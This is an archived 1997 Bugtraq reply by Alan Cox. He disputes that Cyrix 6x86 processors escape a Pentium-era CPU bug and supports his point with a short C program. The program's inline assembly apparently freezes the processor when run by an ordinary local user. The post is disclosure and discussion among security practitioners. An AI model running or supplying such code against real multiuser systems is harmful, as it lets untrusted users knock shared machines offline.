[5536] in bugtraq
Re: WARNING: Linux Intel Pentium Bug
daemon@ATHENA.MIT.EDU (Alan Cox)
Sun Nov 9 14:03:24 1997
Date: Sat, 8 Nov 1997 23:50:37 +0000
Reply-To: Alan Cox <alan@LXORGUK.UKUU.ORG.UK>
From: Alan Cox <alan@LXORGUK.UKUU.ORG.UK>
X-To: hudson@MBAY.NET
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <19971107092926.19563@mbay.net> from "Stefan Hudson" at Nov 7,
97 09:29:26 am
> This code does NOT affect Cyrix 6x86 (166+ specifically, but probably all of
> them) processors. If you run a multiuser, untrusted system, I suggest
> reserving some at your local computer supplier... unless there is an easy
> fix for this, there is going to be a run on them.
I doubt it; See
http://www.heise.de/ct/art_ab97/9713030/
static unsigned char c[4] = {0x36, 0x78, 0x38, 0x36};
main()
{
asm ("movl $c, %ebx\n\t"
"again: xchgl (%ebx), %eax\n\t"
"movl %eax, %edx\n\t"
"jmp again\n\t");
}
